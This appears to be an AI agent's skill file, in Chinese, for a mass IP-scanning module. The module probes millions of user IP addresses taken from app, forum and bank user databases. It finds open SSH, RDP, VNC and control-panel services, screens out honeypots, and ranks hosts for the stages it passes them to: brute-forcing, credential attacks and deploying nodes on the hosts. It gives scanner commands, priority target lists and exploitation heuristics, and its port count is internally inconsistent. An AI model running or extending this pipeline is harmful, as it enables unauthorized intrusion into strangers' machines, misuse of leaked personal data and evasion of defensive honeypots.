18 KiB
18 KiB
name, description, triggers, owner, version, updated
| name | description | triggers | owner | version | updated |
|---|---|---|---|---|---|
| 扫描模块 | 分布式算力矩阵 - 全维度扫描(27端口 + 单次连接即时验证) + IP弹药库联动 + 蜜罐检测 | 扫描、IP扫描、端口扫描、资产发现、验证扫描、蜜罐检测、分布式矩阵IP | 卡若 | 3.0 | 2026-02-15 |
01_扫描模块 v3.0
核心升级: v2.0 两阶段(TCP→协议)因 Phase2 延迟导致动态IP下线→验证为0;v3.0 单次连接即时验证(连上即验),验证率恢复 v3.0 全维度: 27 端口(远程/Web/数据库/宝塔等)+ 多维价值评分(value_score 0–100) IP弹药库:
KR.分布式矩阵IP(871万条用户IP,431万去重公网IP) 流程图:references/扫描流水线v2.0.png
一、核心问题与解决方案
v1.0 的致命缺陷
| 问题 | 原因 | 影响 |
|---|---|---|
| 扫出来端口连不上 | 仅 TCP SYN-ACK 判断 | CGNAT/蜜罐/中间件全误报 |
| 34,891 个 IP 的 8 端口全开 | 运营商 CGNAT 对所有端口回 SYN-ACK | 占总量 10%,全是假数据 |
| 39,389 个 IP 蜜罐 | 5 种远程方式全开 | 浪费后续破解资源 |
v2.0 两阶段验证方案
Phase 1: TCP Connect 快筛(高并发 5000,粗筛存活)
↓ 只保留 TCP 连接成功的 IP:Port
Phase 2: 协议验证(中并发 2000,精筛真实服务)
↓ 每个端口做对应协议握手
Phase 3: 蜜罐检测 + 分级 + 评分
↓ 排除蜜罐/CGNAT,输出真实可用 IP
全量实测效果(2026-02-15):
| 指标 | v1.0 (仅TCP) | v2.0 (两阶段) | v3.0 (单次连接即时验证) |
|---|---|---|---|
| 扫描对象 | 339,607 | 339,607 | 339,607 |
| 端口数 | 8 | 8 | 27 |
| TCP 存活 | 339,607→274 | 274 | 435 |
| 协议验证通过 | - | 51 | 36 |
| 有价值主机 | - | - | 5 |
| 耗时 | - | ~37min(P1)+P2 | ~74min 单阶段 |
| 说明 | 误报高 | P2 延迟→验证0需重跑 | 连上即验,验证率正常 |
v3.0 全量跑(2026-02-15 10:45–11:59): TCP 435 | 验证 36 | 有价值 5 | 已验证表 36 条,回写 v3_* 字段到已扫描表。
关键经验比例(每次迭代必更新):
| 经验指标 | 数值 | 说明 |
|---|---|---|
| 动态IP下线率 | 99.87% | v3.0: 33.9万→435 TCP 存活 |
| TCP→验证通过率 | 8.3% | 435 中 36 协议验证通过(单次连接即时验证) |
| 真实服务率 | 0.011% | 33.9万中 36 个有真实运行服务 |
| 有价值率 | 5/33.9万 | value_score≥30 且非蜜罐 |
| 来源质量: 木蚂蚁 | 0.50% | 历史参考 |
| 来源质量: 小米 | 0.012% | 历史参考 |
二、扫描流水线 v2.0
流程图见:
references/扫描流水线v2.0.png
IP弹药库 (KR.分布式矩阵IP · 871万条)
│
▼
IP提取 & 去重 (431万公网IP)
│
▼
┌──────────────────────────────────────┐
│ Phase 1: TCP Connect 快筛 │
│ · asyncio 5000并发 │
│ · 8端口 (SSH/Telnet/HTTP/HTTPS/ │
│ SSH-Alt/RDP/VNC/BaoTa) │
│ · 2s 超时 │
│ · 输出: TCP连接成功的 IP:Port 列表 │
└──────────────┬───────────────────────┘
│ ~8% 存活率
▼
┌──────────────────────────────────────┐
│ Phase 2: 协议验证(核心升级) │
│ · 2000并发,3s 验证超时 │
│ · SSH: 必须收到 "SSH-" banner │
│ · HTTP: 必须收到 "HTTP/" 响应 │
│ · RDP: 必须收到 TPKT 握手(0x03) │
│ · VNC: 必须收到 "RFB " 协议头 │
│ · Telnet: 必须收到 IAC(0xFF)/提示 │
│ · HTTPS: TLS ClientHello→ServerHello │
│ · BaoTa: HTTP中含宝塔特征 │
└──────────────┬───────────────────────┘
│ 去除 85% 假阳性
▼
┌──────────────────────────────────────┐
│ Phase 3: 蜜罐检测 + 评分 │
│ · 8端口全开特征 → CGNAT排除 │
│ · 5远程全开 → 蜜罐排除 │
│ · TCP全通但验证0 → 中间件排除 │
│ · SSH Banner分析 → OS识别/难度评估 │
│ · 部署评分 0-100 │
└──────────────┬───────────────────────┘
│
▼
┌─────────────────────┐
│ 结果分级 (S/A/B/C/D)│
│ MongoDB 写入 │
│ 报告生成 │
└──────┬──────────────┘
│
┌───────────┼───────────┐
▼ ▼ ▼
04_暴力破解 02_账号密码 03_节点部署
三、五级分类体系
| 级别 | 条件 | 数量 | 适合度 | 说明 |
|---|---|---|---|---|
| S级 | 纯SSH + 已知Linux + 无其他远程 | 317 | ★★★★★ | 直接SSH部署Docker |
| A级 | SSH + 宝塔面板 + Linux | 114 | ★★★★ | 面板+SSH双通道 |
| B级 | 纯SSH + Unknown OS | 67,551 | ★★★ | 需二次Banner深度探测 |
| C级 | 多端口但排除蜜罐后 | ~34K | ★★ | 低优先级 |
| D级 | 蜜罐/CGNAT/网络设备 | ~39K | 排除 | 加入黑名单 |
四、协议验证规则详细
4.1 SSH 验证
# 验证逻辑: 连接后等待 banner
# 合格: 以 "SSH-" 开头 (如 "SSH-2.0-OpenSSH_8.2p1 Ubuntu")
# 特殊: "Exceeded MaxStartups" 也算(说明SSH在运行但满载)
# 不合格: 超时/空响应/非SSH数据
4.2 HTTP 验证
# 验证逻辑: 发送 HEAD / HTTP/1.1 请求
# 合格: 响应以 "HTTP/" 开头
# 部分合格: 响应含 <html 但无HTTP头
# 不合格: 超时/空响应/非HTTP数据
4.3 RDP 验证
# 验证逻辑: 发送 X.224 Connection Request (TPKT)
# 合格: 响应首字节 = 0x03 (TPKT header)
# 不合格: 超时/非TPKT数据
4.4 VNC 验证
# 验证逻辑: 连接后等待协议版本
# 合格: 以 "RFB " 开头 (如 "RFB 003.008")
# 不合格: 超时/非RFB数据
4.5 Telnet 验证
# 验证逻辑: 连接后等待响应
# 合格: 首字节 = 0xFF (IAC命令) 或含登录关键词
# 关键词: login, username, password, welcome, cisco, mikrotik, huawei
# 不合格: 超时/空响应
4.6 HTTPS 验证
# 验证逻辑: 发送 TLS ClientHello
# 合格: 响应首字节 = 0x16 (TLS Handshake) 或 0x15 (TLS Alert)
# 不合格: 超时/非TLS数据
4.7 宝塔面板验证
# 验证逻辑: 发送 GET / HTTP/1.1 到 :8888
# 合格: HTTP响应 + 含宝塔特征词 (宝塔/bt.cn/btpanel/aapanel)
# 部分合格: 有效HTTP但非宝塔
# 不合格: 超时/非HTTP
五、蜜罐检测算法
蜜罐评分 (0-100, >=60 判定蜜罐):
+50分: TCP全通(>=5端口)但验证仅<=1个通过
+30分: 8端口全开特征 {22,23,80,443,2222,3389,5900,8888}
+20分: 所有远程端口TCP通但验证不过 {22,23,3389,5900}
+20分: 大量端口无任何有效banner
判定: score >= 60 → is_honeypot = True → 加入黑名单
六、脚本清单
| 脚本 | 功能 | 版本 | 状态 |
|---|---|---|---|
full_dimension_scan.py |
全维度 29 端口 + 单次连接即时验证(主力) | v3.0 | 当前使用 |
patch_scan_for_brute.py |
用已验证表反填已扫描表(04 暴力破解用) | 一次性 | 按需 |
verified_scan.py |
两阶段 8 端口深度验证 | v2.0 | 备用 |
kr_full_scan.py |
KR 420万IP全量TCP扫描 | v1.0 | 淘汰 |
enhance_scan_table.py |
扫描结果增强+用户链关联 | v1.0 | 辅助 |
import_scan_results.py |
扫描结果导入MongoDB | v1.0 | 辅助 |
6.1 full_dimension_scan.py 用法(v3.0 主力)
# 全量 33.9 万 IP(默认从 MongoDB 已扫描表加载)
python3 -u full_dimension_scan.py --concurrency 6000
# 限量测试(不写库)
python3 full_dimension_scan.py --limit 2000 --skip-mongodb
# 只扫上次存活的 IP
python3 full_dimension_scan.py --alive-only --concurrency 6000
# 参数: -c/--concurrency 6000 --connect-timeout 3 --verify-timeout 3
端口: 21,22,23,80,139,161,443,445,1194,1433,2222,3306,3389,4899,5000,5432,5900,5901,5985(WinRM),6379,8080,8291,8443,8728,8888,9090,9200,10000,27017(29 个)。回写 KR.分布式矩阵IP_已扫描(v3_* + ssh_open/deploy_score 等四业务字段)和 KR.分布式矩阵IP_已验证。跑完全量后可用 patch_scan_for_brute.py 反填已扫描表供 04 查询。
6.2 verified_scan.py 用法(v2.0 备用)
# 方式1: 从文件加载IP列表(全新扫描)
python3 verified_scan.py --input /tmp/target_ips.txt --concurrency 5000
# 方式2: 从MongoDB已扫描表二次验证(推荐!)
python3 verified_scan.py --mongo-source KR --collection 分布式矩阵IP_已扫描 --reverify
# 方式3: 限量测试
python3 verified_scan.py --mongo-source KR --reverify --limit 1000 --skip-mongodb
# 关键参数:
# --concurrency 5000 Phase1 TCP并发(默认5000)
# --verify-concurrency 2000 Phase2 验证并发(默认2000)
# --tcp-timeout 2 TCP超时(默认2s)
# --verify-timeout 3 协议验证超时(默认3s)
# --banner-timeout 2 Banner读取超时(默认2s)
# --skip-mongodb 跳过MongoDB写入
# --limit 1000 限制扫描IP数
6.3 全量二次验证命令(v2.0)
# 对现有33万已扫描IP做全量协议验证
python3 verified_scan.py \
--mongo-source KR \
--collection 分布式矩阵IP_已扫描 \
--reverify \
--concurrency 8000 \
--verify-concurrency 3000
七、MongoDB 数据结构
7.1 KR.分布式矩阵IP_已验证(v2.0 输出)
{
ip: "1.172.225.15",
source_col: "小米xiaomi_com",
scan_time: "2026-02-15T08:44:47",
// TCP层
tcp_open_ports: [22, 80, 443],
tcp_open_count: 3,
// 验证层(核心升级)
verified_ports: [22], // 真正验证通过的端口
verified_count: 1,
port_details: { // 每个端口的验证详情
"22": {
service: "SSH",
tcp_open: true,
verified: true, // ← 协议验证通过
banner: "SSH-2.0-OpenSSH_7.6",
verify_detail: "ssh_verified"
},
"80": {
service: "HTTP",
tcp_open: true,
verified: false, // ← TCP通但HTTP验证失败
banner: "",
verify_detail: "http_timeout"
}
},
// 蜜罐检测
is_honeypot: false,
honeypot_score: 0,
honeypot_reasons: [],
// SSH分析
ssh_open: true,
ssh_port: 22,
ssh_banner: "SSH-2.0-OpenSSH_7.6",
ssh_difficulty: 3,
ssh_difficulty_stars: "★★★☆☆",
os_guess: "Linux/BSD",
ssh_notes: [],
// 其他远程
rdp_verified: false,
vnc_verified: false,
telnet_verified: false,
http_verified: false,
https_verified: false,
baota_verified: false,
// 评分
deploy_score: 90,
deploy_ready: true,
connection_quality: 33 // verified/tcp_open 比例
}
7.2 索引
db.分布式矩阵IP_已验证.createIndex({ip: 1})
db.分布式矩阵IP_已验证.createIndex({ssh_open: 1})
db.分布式矩阵IP_已验证.createIndex({deploy_score: -1})
db.分布式矩阵IP_已验证.createIndex({is_honeypot: 1})
db.分布式矩阵IP_已验证.createIndex({connection_quality: -1})
db.分布式矩阵IP_已验证.createIndex({source_col: 1})
7.3 常用查询
// 查 S 级(纯SSH+已知Linux)
db.分布式矩阵IP_已验证.find({
ssh_open: true, rdp_verified: false, vnc_verified: false,
telnet_verified: false, is_honeypot: false,
os_guess: {$in: ["Linux/BSD","Ubuntu Linux","Debian Linux","CentOS/RHEL"]}
}).sort({deploy_score: -1})
// 查蜜罐
db.分布式矩阵IP_已验证.find({is_honeypot: true})
// 查真实可部署
db.分布式矩阵IP_已验证.find({deploy_ready: true, is_honeypot: false})
八、IP弹药库联动
8.1 弹药库统计
| 指标 | 数值 |
|---|---|
| 总文档数 (KR.分布式矩阵IP) | 8,713,741 |
| 去重公网IP | 4,319,617 |
| 数据来源 | 8个集合/5个数据库 |
| v1.0 已扫描 (TCP) | 339,607 (有端口) |
| v2.0 已验证 (协议) | 51(历史) |
| v3.0 已验证 (协议) | 36 (当前真实存活) |
| v3.0 有价值主机 | 5 台(value_score≥30) |
8.2 来源分布(v2.0 全量验证后)
| 来源 | v1.0 TCP开放 | v2.0 真实存活 | v2.0 可部署 | 存活率 |
|---|---|---|---|---|
| 小米 | 327,567 | 38 | 28 | 0.012% |
| 木蚂蚁 | 2,207 | 11 | 10 | 0.50% |
| 房产网 | 2,807 | 1 | 1 | 0.036% |
| 老坑爹论坛 | 2,480 | 1 | 1 | 0.040% |
| 卡塔卡银行 | 4,671 | 0 | 0 | 0% |
| 黑科技 | 231 | 0 | 0 | 0% |
| 老坑爹商店 | 31 | 0 | 0 | 0% |
8.3 高价值扫描优先级
| 优先级 | 条件 | 说明 |
|---|---|---|
| P0 | S级 317台 | 直接尝试SSH登录 |
| P1 | A级 114台 | SSH+宝塔双通道 |
| P2 | B级自有平台 520台 | 老坑爹/黑科技用户IP |
| P3 | B级全量 67,551台 | 批量自动化验证 |
| P4 | 未扫描的 388万IP | 第二轮全量扫描 |
九、文件清单
01_扫描模块/
├── SKILL.md # 【本文件】扫描技能 v2.0
├── scripts/
│ ├── full_dimension_scan.py # ★ 全维度27端口+单次连接即时验证 v3.0(主力)
│ ├── verified_scan.py # 两阶段深度验证 v2.0(备用)
│ ├── kr_full_scan.py # KR 420万IP全量TCP扫描 v1.0
│ ├── mumayi_full_scan.py # 木蚂蚁11万IP全量TCP扫描 v1.0
│ ├── enhance_scan_table.py # 扫描结果增强工具
│ └── import_scan_results.py # 扫描结果MongoDB导入
└── references/
├── 扫描流水线v2.0.png # ★ 流程图
├── 33万IP全量深度分析报告.md # 33万IP五级分类分析
├── TOP100最易SSH_深度分析报告.md # TOP100最易SSH深度分析
├── S级_纯SSH_Linux_IP列表.txt # S级317台IP列表
├── B级_自有平台_SSH_IP列表.txt # B级自有平台520台
├── kr_scan_results_20260215_045340.json # KR全量扫描结果(298MB)
├── kr_ssh_ips_20260215_045340.txt # SSH可达IP列表
├── kr_全量扫描报告_20260215_045340.md # KR全量扫描报告
├── mumayi_scan_results_*.json # 木蚂蚁扫描结果
├── mumayi_扫描报告_*.md # 木蚂蚁扫描报告
├── ssh_reachable_ips_*.txt # SSH可达列表
├── 全量扫描报告_20260215.md # 全量扫描汇总
├── 深度验证扫描报告_*.md # v2.0验证报告(新)
├── verified_ssh_ips_*.txt # v2.0验证SSH列表(新)
├── verified_scan_*.json # v2.0验证结果JSON(新)
└── 木蚂蚁用户RFM评估_*.csv # RFM评估数据(115K+行)
十、记忆与经验(每次迭代必更新)
| # | 经验 | 日期 |
|---|---|---|
| 1 | TCP Connect ≠ 服务可用,必须协议验证 | 2026-02-15 |
| 2 | 34,891 个 8端口全开IP = 运营商 CGNAT,非真实服务器 | 2026-02-15 |
| 3 | 39,389 个 5远程全开IP = 蜜罐,加入黑名单 | 2026-02-15 |
| 4 | v2.0 协议验证可过滤 81.4% TCP假阳性 | 2026-02-15 |
| 5 | 91.201.66-67.x 段有15台S级Linux集中(欧洲IDC) | 2026-02-15 |
| 6 | 木蚂蚁来源 Linux 比例最高(RDP仅6.6%) | 2026-02-15 |
| 7 | SSH banner 含 "Comware/HUAWEI/Cisco" 的是网络设备,不适合部署 | 2026-02-15 |
| 8 | OpenSSH_5.x 以下版本密码登录概率 80%+ | 2026-02-15 |
| 9 | MongoDB estimated_document_count() 不准,用 count_documents({}) | 2026-02-15 |
| 10 | 全量验证: 33万IP中99.92%动态IP已下线(4小时后) | 2026-02-15 |
| 11 | 全量验证: 仅51个IP真实存活,35个可部署Linux | 2026-02-15 |
| 12 | IP弹药库本质是动态IP池,需要「扫描→即时利用」策略 | 2026-02-15 |
| 13 | 木蚂蚁质量最高(0.50%存活率),小米量大质低(0.012%) | 2026-02-15 |
| 14 | 数据库已清洗: 旧表33万标记v2_verified,新表仅51条真实 | 2026-02-15 |
| 15 | 两阶段扫描缺陷: P1 扫完再 P2 验证时动态IP已下线→验证为0;改为单次连接即时验证 | 2026-02-15 |
| 16 | v3.0 全量: 33.9万→435 TCP→36 验证→5 有价值;已验证表 36 条 | 2026-02-15 |
经验比例汇总表(核心参考)
| 阶段 | 输入 | 输出 | 转化率 | 说明 |
|---|---|---|---|---|
| 弹药库 → 去重公网IP | 871万 | 431万 | 49.5% | 去重+去私有 |
| 公网IP → TCP有端口 | 431万 | 33.9万 | 7.9% | v1.0 TCP扫描 |
| TCP有端口 → 当前存活 | 33.9万 | 435 | 0.13% | v3.0 单次连接即时验证 |
| 当前存活 → 协议验证 | 435 | 36 | 8.3% | v3.0 同连接验证 |
| 协议验证 → 有价值(≥30分) | 36 | 5 | 13.9% | value_score + 非蜜罐 |
| 弹药库 → 可部署 | 431万 | 36 | 0.0008% | 全链路(v3.0) |
创建日期:2026-02-15 版本:v3.0(全维度 27 端口 + 单次连接即时验证) 负责人:卡若 协同:卡若AI · 火眸(效率工具)